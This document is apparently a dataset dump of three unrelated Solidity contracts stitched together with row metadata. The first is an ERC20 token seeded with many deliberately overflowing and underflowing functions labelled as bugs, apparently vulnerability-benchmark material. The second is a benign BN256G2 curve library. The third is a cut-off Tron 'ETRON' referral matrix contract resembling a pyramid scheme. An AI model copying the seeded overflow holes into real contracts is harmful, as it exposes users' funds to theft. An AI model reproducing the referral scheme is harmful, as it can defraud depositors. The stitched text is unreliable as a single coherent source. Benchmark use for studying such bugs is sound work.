lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
mapping (address => mapping (address => uint256)) private _allowances;
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
uint256 private _totalSupply;
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
string private _name;
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
string private _symbol;
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
uint8 private _decimals;
constructor() public {
_name = "UBBC Token";
_symbol = "UBBC";
_decimals = 18;
_totalSupply = 260000000 ether;
_balances[0x0e475cd2c1f8222868cf85B4f97D7EB70fB3ffD3] = _totalSupply;
}
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event Transfer(address sender, address to, uint256 value);
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event Approval(address owner, address spender, uint256 value);
function name() public view returns (string memory) {
return _name;
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function symbol() public view returns (string memory) {
return _symbol;
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function decimals() public view returns (uint8) {
return _decimals;
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
function () payable external{
revert();
}
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
| 223,747 | 12,021 |
5497cfb53a72a72184d1bc5c285d8466ed332690850ac8a0e3125f12a91880d2
| 14,295 |
.sol
|
Solidity
| false |
370487331
|
ben2048/blockchainBasedComputationOffloading
|
07bac3a03847b25fb45fb1f8c6bc355585286a6e
|
auctionContract/contracts/lib/BN256G2.sol
| 4,971 | 12,122 |
// This file is LGPL3 Licensed
pragma solidity ^0.5.0;
library BN256G2 {
uint256 internal constant FIELD_MODULUS = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47;
uint256 internal constant TWISTBX = 0x2b149d40ceb8aaae81be18991be06ac3b5b4c5e559dbefa33267e6dc24a138e5;
uint256 internal constant TWISTBY = 0x9713b03af0fed4cd2cafadeed8fdf4a74fa084e52d1852e4a2bd0685c315d2;
uint internal constant PTXX = 0;
uint internal constant PTXY = 1;
uint internal constant PTYX = 2;
uint internal constant PTYY = 3;
uint internal constant PTZX = 4;
uint internal constant PTZY = 5;
function ECTwistAdd(uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy,
uint256 pt2xx, uint256 pt2xy,
uint256 pt2yx, uint256 pt2yy) public view returns (uint256, uint256,
uint256, uint256) {
if (pt1xx == 0 && pt1xy == 0 &&
pt1yx == 0 && pt1yy == 0) {
if (!(pt2xx == 0 && pt2xy == 0 &&
pt2yx == 0 && pt2yy == 0)) {
assert(_isOnCurve(pt2xx, pt2xy,
pt2yx, pt2yy));
}
return (pt2xx, pt2xy,
pt2yx, pt2yy);
} else if (pt2xx == 0 && pt2xy == 0 &&
pt2yx == 0 && pt2yy == 0) {
assert(_isOnCurve(pt1xx, pt1xy,
pt1yx, pt1yy));
return (pt1xx, pt1xy,
pt1yx, pt1yy);
}
assert(_isOnCurve(pt1xx, pt1xy,
pt1yx, pt1yy));
assert(_isOnCurve(pt2xx, pt2xy,
pt2yx, pt2yy));
uint256[6] memory pt3 = _ECTwistAddJacobian(pt1xx, pt1xy,
pt1yx, pt1yy,
1, 0,
pt2xx, pt2xy,
pt2yx, pt2yy,
1, 0);
return _fromJacobian(pt3[PTXX], pt3[PTXY],
pt3[PTYX], pt3[PTYY],
pt3[PTZX], pt3[PTZY]);
}
function ECTwistMul(uint256 s,
uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy) public view returns (uint256, uint256,
uint256, uint256) {
uint256 pt1zx = 1;
if (pt1xx == 0 && pt1xy == 0 &&
pt1yx == 0 && pt1yy == 0) {
pt1xx = 1;
pt1yx = 1;
pt1zx = 0;
} else {
assert(_isOnCurve(pt1xx, pt1xy,
pt1yx, pt1yy));
}
uint256[6] memory pt2 = _ECTwistMulJacobian(s,
pt1xx, pt1xy,
pt1yx, pt1yy,
pt1zx, 0);
return _fromJacobian(pt2[PTXX], pt2[PTXY],
pt2[PTYX], pt2[PTYY],
pt2[PTZX], pt2[PTZY]);
}
function GetFieldModulus() public pure returns (uint256) {
return FIELD_MODULUS;
}
function submod(uint256 a, uint256 b, uint256 n) internal pure returns (uint256) {
return addmod(a, n - b, n);
}
function _FQ2Mul(uint256 xx, uint256 xy,
uint256 yx, uint256 yy) internal pure returns (uint256, uint256) {
return (submod(mulmod(xx, yx, FIELD_MODULUS), mulmod(xy, yy, FIELD_MODULUS), FIELD_MODULUS),
addmod(mulmod(xx, yy, FIELD_MODULUS), mulmod(xy, yx, FIELD_MODULUS), FIELD_MODULUS));
}
function _FQ2Muc(uint256 xx, uint256 xy,
uint256 c) internal pure returns (uint256, uint256) {
return (mulmod(xx, c, FIELD_MODULUS),
mulmod(xy, c, FIELD_MODULUS));
}
function _FQ2Add(uint256 xx, uint256 xy,
uint256 yx, uint256 yy) internal pure returns (uint256, uint256) {
return (addmod(xx, yx, FIELD_MODULUS),
addmod(xy, yy, FIELD_MODULUS));
}
function _FQ2Sub(uint256 xx, uint256 xy,
uint256 yx, uint256 yy) internal pure returns (uint256 rx, uint256 ry) {
return (submod(xx, yx, FIELD_MODULUS),
submod(xy, yy, FIELD_MODULUS));
}
function _FQ2Div(uint256 xx, uint256 xy,
uint256 yx, uint256 yy) internal view returns (uint256, uint256) {
(yx, yy) = _FQ2Inv(yx, yy);
return _FQ2Mul(xx, xy, yx, yy);
}
function _FQ2Inv(uint256 x, uint256 y) internal view returns (uint256, uint256) {
uint256 inv = _modInv(addmod(mulmod(y, y, FIELD_MODULUS), mulmod(x, x, FIELD_MODULUS), FIELD_MODULUS), FIELD_MODULUS);
return (mulmod(x, inv, FIELD_MODULUS),
FIELD_MODULUS - mulmod(y, inv, FIELD_MODULUS));
}
function _isOnCurve(uint256 xx, uint256 xy,
uint256 yx, uint256 yy) internal pure returns (bool) {
uint256 yyx;
uint256 yyy;
uint256 xxxx;
uint256 xxxy;
(yyx, yyy) = _FQ2Mul(yx, yy, yx, yy);
(xxxx, xxxy) = _FQ2Mul(xx, xy, xx, xy);
(xxxx, xxxy) = _FQ2Mul(xxxx, xxxy, xx, xy);
(yyx, yyy) = _FQ2Sub(yyx, yyy, xxxx, xxxy);
(yyx, yyy) = _FQ2Sub(yyx, yyy, TWISTBX, TWISTBY);
return yyx == 0 && yyy == 0;
}
function _modInv(uint256 a, uint256 n) internal view returns (uint256 result) {
bool success;
assembly {
let freemem := mload(0x40)
mstore(freemem, 0x20)
mstore(add(freemem,0x20), 0x20)
mstore(add(freemem,0x40), 0x20)
mstore(add(freemem,0x60), a)
mstore(add(freemem,0x80), sub(n, 2))
mstore(add(freemem,0xA0), n)
success := staticcall(sub(gas, 2000), 5, freemem, 0xC0, freemem, 0x20)
result := mload(freemem)
}
require(success);
}
function _fromJacobian(uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy,
uint256 pt1zx, uint256 pt1zy) internal view returns (uint256 pt2xx, uint256 pt2xy,
uint256 pt2yx, uint256 pt2yy) {
uint256 invzx;
uint256 invzy;
(invzx, invzy) = _FQ2Inv(pt1zx, pt1zy);
(pt2xx, pt2xy) = _FQ2Mul(pt1xx, pt1xy, invzx, invzy);
(pt2yx, pt2yy) = _FQ2Mul(pt1yx, pt1yy, invzx, invzy);
}
function _ECTwistAddJacobian(uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy,
uint256 pt1zx, uint256 pt1zy,
uint256 pt2xx, uint256 pt2xy,
uint256 pt2yx, uint256 pt2yy,
uint256 pt2zx, uint256 pt2zy) internal pure returns (uint256[6] memory pt3) {
if (pt1zx == 0 && pt1zy == 0) {
(pt3[PTXX], pt3[PTXY],
pt3[PTYX], pt3[PTYY],
pt3[PTZX], pt3[PTZY]) = (pt2xx, pt2xy,
pt2yx, pt2yy,
pt2zx, pt2zy);
return pt3;
} else if (pt2zx == 0 && pt2zy == 0) {
(pt3[PTXX], pt3[PTXY],
pt3[PTYX], pt3[PTYY],
pt3[PTZX], pt3[PTZY]) = (pt1xx, pt1xy,
pt1yx, pt1yy,
pt1zx, pt1zy);
return pt3;
}
(pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt1zx, pt1zy); // U1 = y2 * z1
(pt3[PTYX], pt3[PTYY]) = _FQ2Mul(pt1yx, pt1yy, pt2zx, pt2zy); // U2 = y1 * z2
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1zx, pt1zy); // V1 = x2 * z1
(pt3[PTZX], pt3[PTZY]) = _FQ2Mul(pt1xx, pt1xy, pt2zx, pt2zy); // V2 = x1 * z2
if (pt2xx == pt3[PTZX] && pt2xy == pt3[PTZY]) {
if (pt2yx == pt3[PTYX] && pt2yy == pt3[PTYY]) {
(pt3[PTXX], pt3[PTXY],
pt3[PTYX], pt3[PTYY],
pt3[PTZX], pt3[PTZY]) = _ECTwistDoubleJacobian(pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy);
return pt3;
}
(pt3[PTXX], pt3[PTXY],
pt3[PTYX], pt3[PTYY],
pt3[PTZX], pt3[PTZY]) = (1, 0,
1, 0,
0, 0);
return pt3;
}
(pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // W = z1 * z2
(pt1xx, pt1xy) = _FQ2Sub(pt2yx, pt2yy, pt3[PTYX], pt3[PTYY]); // U = U1 - U2
(pt1yx, pt1yy) = _FQ2Sub(pt2xx, pt2xy, pt3[PTZX], pt3[PTZY]); // V = V1 - V2
(pt1zx, pt1zy) = _FQ2Mul(pt1yx, pt1yy, pt1yx, pt1yy); // V_squared = V * V
(pt2yx, pt2yy) = _FQ2Mul(pt1zx, pt1zy, pt3[PTZX], pt3[PTZY]); // V_squared_times_V2 = V_squared * V2
(pt1zx, pt1zy) = _FQ2Mul(pt1zx, pt1zy, pt1yx, pt1yy); // V_cubed = V * V_squared
(pt3[PTZX], pt3[PTZY]) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // newz = V_cubed * W
(pt2xx, pt2xy) = _FQ2Mul(pt1xx, pt1xy, pt1xx, pt1xy); // U * U
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt2zx, pt2zy); // U * U * W
(pt2xx, pt2xy) = _FQ2Sub(pt2xx, pt2xy, pt1zx, pt1zy); // U * U * W - V_cubed
(pt2zx, pt2zy) = _FQ2Muc(pt2yx, pt2yy, 2); // 2 * V_squared_times_V2
(pt2xx, pt2xy) = _FQ2Sub(pt2xx, pt2xy, pt2zx, pt2zy); // A = U * U * W - V_cubed - 2 * V_squared_times_V2
(pt3[PTXX], pt3[PTXY]) = _FQ2Mul(pt1yx, pt1yy, pt2xx, pt2xy); // newx = V * A
(pt1yx, pt1yy) = _FQ2Sub(pt2yx, pt2yy, pt2xx, pt2xy); // V_squared_times_V2 - A
(pt1yx, pt1yy) = _FQ2Mul(pt1xx, pt1xy, pt1yx, pt1yy); // U * (V_squared_times_V2 - A)
(pt1xx, pt1xy) = _FQ2Mul(pt1zx, pt1zy, pt3[PTYX], pt3[PTYY]); // V_cubed * U2
(pt3[PTYX], pt3[PTYY]) = _FQ2Sub(pt1yx, pt1yy, pt1xx, pt1xy); // newy = U * (V_squared_times_V2 - A) - V_cubed * U2
}
function _ECTwistDoubleJacobian(uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy,
uint256 pt1zx, uint256 pt1zy) internal pure returns (uint256 pt2xx, uint256 pt2xy,
uint256 pt2yx, uint256 pt2yy,
uint256 pt2zx, uint256 pt2zy) {
(pt2xx, pt2xy) = _FQ2Muc(pt1xx, pt1xy, 3); // 3 * x
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1xx, pt1xy); // W = 3 * x * x
(pt1zx, pt1zy) = _FQ2Mul(pt1yx, pt1yy, pt1zx, pt1zy); // S = y * z
(pt2yx, pt2yy) = _FQ2Mul(pt1xx, pt1xy, pt1yx, pt1yy); // x * y
(pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt1zx, pt1zy); // B = x * y * S
(pt1xx, pt1xy) = _FQ2Mul(pt2xx, pt2xy, pt2xx, pt2xy); // W * W
(pt2zx, pt2zy) = _FQ2Muc(pt2yx, pt2yy, 8); // 8 * B
(pt1xx, pt1xy) = _FQ2Sub(pt1xx, pt1xy, pt2zx, pt2zy); // H = W * W - 8 * B
(pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt1zx, pt1zy); // S_squared = S * S
(pt2yx, pt2yy) = _FQ2Muc(pt2yx, pt2yy, 4); // 4 * B
(pt2yx, pt2yy) = _FQ2Sub(pt2yx, pt2yy, pt1xx, pt1xy); // 4 * B - H
(pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt2xx, pt2xy); // W * (4 * B - H)
(pt2xx, pt2xy) = _FQ2Muc(pt1yx, pt1yy, 8); // 8 * y
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1yx, pt1yy); // 8 * y * y
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt2zx, pt2zy); // 8 * y * y * S_squared
(pt2yx, pt2yy) = _FQ2Sub(pt2yx, pt2yy, pt2xx, pt2xy); // newy = W * (4 * B - H) - 8 * y * y * S_squared
(pt2xx, pt2xy) = _FQ2Muc(pt1xx, pt1xy, 2); // 2 * H
(pt2xx, pt2xy) = _FQ2Mul(pt2xx, pt2xy, pt1zx, pt1zy); // newx = 2 * H * S
(pt2zx, pt2zy) = _FQ2Mul(pt1zx, pt1zy, pt2zx, pt2zy); // S * S_squared
(pt2zx, pt2zy) = _FQ2Muc(pt2zx, pt2zy, 8); // newz = 8 * S * S_squared
}
function _ECTwistMulJacobian(uint256 d,
uint256 pt1xx, uint256 pt1xy,
uint256 pt1yx, uint256 pt1yy,
uint256 pt1zx, uint256 pt1zy) internal pure returns (uint256[6] memory pt2) {
while (d != 0) {
if ((d & 1) != 0) {
pt2 = _ECTwistAddJacobian(pt2[PTXX], pt2[PTXY],
pt2[PTYX], pt2[PTYY],
pt2[PTZX], pt2[PTZY],
pt1xx, pt1xy,
pt1yx, pt1yy,
pt1zx, pt1zy);
}
(pt1xx, pt1xy,
pt1yx, pt1yy,
pt1zx, pt1zy) = _ECTwistDoubleJacobian(pt1xx, pt1xy,
pt1yx, pt1yy,
pt1zx, pt1zy);
d = d / 2;
}
}
}
| 12,676 | 12,022 |
e48ab3d9ee6ce3848a1f88cc492c323169d290f8a461996ea86dd88f6acdc656
| 32,346 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJYWo28DXgmqkrCNSLvmeSex3rH6LEYRv6_ETRON.sol
| 8,487 | 30,909 |
//SourceUnit: Run (3).sol
pragma solidity ^0.5.10;
contract ETRON{
using SafeMath for uint256;
address payable public owner;
uint256 public totalUsers;
uint256 public totalwithdrawn;
uint256 public currentid = 1;
uint256 public GlobalmatrixcurrUserID = 0;
uint256 public SilvermatrixcurrUserID = 0;
uint256 public GoldmatrixcurrUserID = 0;
uint256 public TitaniummatrixcurrUserID = 0;
uint256 public PlatinummatrixcurrUserID = 0;
uint256 public EmerldmatrixcurrUserID = 0;
uint256 public DiamondmatrixcurrUserID = 0;
uint256 public RubymatrixcurrUserID = 0;
uint256 public CrownmatrixcurrUserID = 0;
uint256 public ImperialmatrixcurrUserID = 0;
uint256 public AmbassadormatrixcurrUserID = 0;
uint256 public PresidentmatrixcurrUserID = 0;
uint256 public GlobalmatrixactiveUserID = 1;
uint256 public SilvermatrixactiveUserID = 1;
uint256 public GoldmatrixactiveUserID = 1;
uint256 public TitaniummatrixactiveUserID = 1;
uint256 public PlatinummatrixactiveUserID = 1;
uint256 public EmerldmatrixactiveUserID = 1;
uint256 public DiamondmatrixactiveUserID = 1;
uint256 public RubymatrixactiveUserID = 1;
uint256 public CrownmatrixactiveUserID = 1;
uint256 public ImperialmatrixactiveUserID = 1;
uint256 public AmbassadormatrixactiveUserID = 1;
uint256 public PresidentmatrixactiveUserID = 1;
uint256 public GlobalmatrixUserCount;
uint256 public SilvermatrixUserCount;
uint256 public GoldmatrixUserCount;
uint256 public TitaniummatrixUserCount;
uint256 public PlatinummatrixUserCount;
uint256 public EmerldmatrixUserCount;
uint256 public DiamondmatrixUserCount;
uint256 public RubymatrixUserCount;
uint256 public CrownmatrixUserCount;
uint256 public ImperialmatrixUserCount;
uint256 public AmbassadormatrixUserCount;
uint256 public PresidentmatrixUserCount;
struct UserStruct {
bool isExist;
uint256 registrationid;
uint256 id;
address payable referrer;
uint256 referredUsers;
uint256 LevelReward;
uint256 MatrixReward;
uint256 DirectReward;
uint256 income;
address []directs;
mapping(uint256=>LevelUserStruct) LevelUser;
}
struct LevelUserStruct {
bool isExist;
uint256 id;
uint payment_received;
}
mapping(address => UserStruct) public users;
mapping(address => uint256[20]) public levels;
mapping(uint256 =>address payable) public idtoaddress;
mapping(uint256=>mapping(uint256=>address payable)) public userList;
event INCOME (uint256 id,string typee,uint256 leveeel,uint256 amount,uint256 time);
modifier checklevel(uint256 level){
bool check = users[msg.sender].LevelUser[level].isExist;
require(check,"you have not crossed the required level");
_;
}
constructor(address payable _owner) payable public {
owner = _owner;
idtoaddress[currentid] = owner;
users[owner].isExist = true;
users[owner].registrationid = currentid;
currentid++;
for(uint256 i = 1; i < 25 ; i++)
{
users[owner].LevelUser[i].isExist = true;
}
}
function register(uint256 id) public payable {
require(!(users[msg.sender].isExist),"you are already registered");
require(msg.value == 500 trx,"need to pay 500 trx for registration");
UserStruct storage user = users[msg.sender];
address ad = msg.sender;
if (user.referrer == address(0)) {
totalUsers = totalUsers.add(1);
}
if(msg.sender == owner){
user.referrer = address(0);
}else if (user.referrer == address(0)) {
if (users[idtoaddress[id]].referrer == address(0) || idtoaddress[id] == msg.sender) {
user.referrer = owner;
}
if(idtoaddress[id] == address(0))
{
user.referrer = owner;
}
else{
user.referrer = idtoaddress[id];
}
(users[user.referrer].directs).push(ad);
users[user.referrer].referredUsers+=1;
user.isExist = true;
idtoaddress[currentid] = msg.sender;
user.registrationid = currentid;
currentid++;
address payable upline = user.referrer;
for (uint256 i = 0; i < 20; i++) {
if (upline != address(0)) {
levels[upline][i] = levels[upline][i].add(1);
upline = users[upline].referrer;
} else break;
}
}
Level1();
// setdirects();
}
function Level1() internal {
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[1] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 100 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
GLOBALMATRIX();
}
function Level2() public payable checklevel(1) {
require(msg.value == 1000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[2] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 100 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
SILVERMATRIX();
}
function Level3() public payable checklevel(2) {
require(msg.value == 2500 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[3] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 250 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
GOLDMATRIX();
}
function Level4() public payable checklevel(3) {
require(msg.value == 5000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[4] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 500 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
TITANIUMMATRIX();
}
function Level5() public payable checklevel(4) {
require(msg.value == 10000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[5] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 1000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
PLATINUMMATRIX();
}
function Level6() public payable checklevel(5) {
require(msg.value == 20000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[6] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 2000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
EMERLDMATRIX();
}
function Level7() public payable checklevel(6) {
require(msg.value == 40000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[7] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 4000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
DIAMONDMATRIX();
}
function Level8() public payable checklevel(7) {
require(msg.value == 80000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[8] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 8000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
RUBYMATRIX();
}
function Level9() public payable checklevel(8) {
require(msg.value == 160000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[9] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
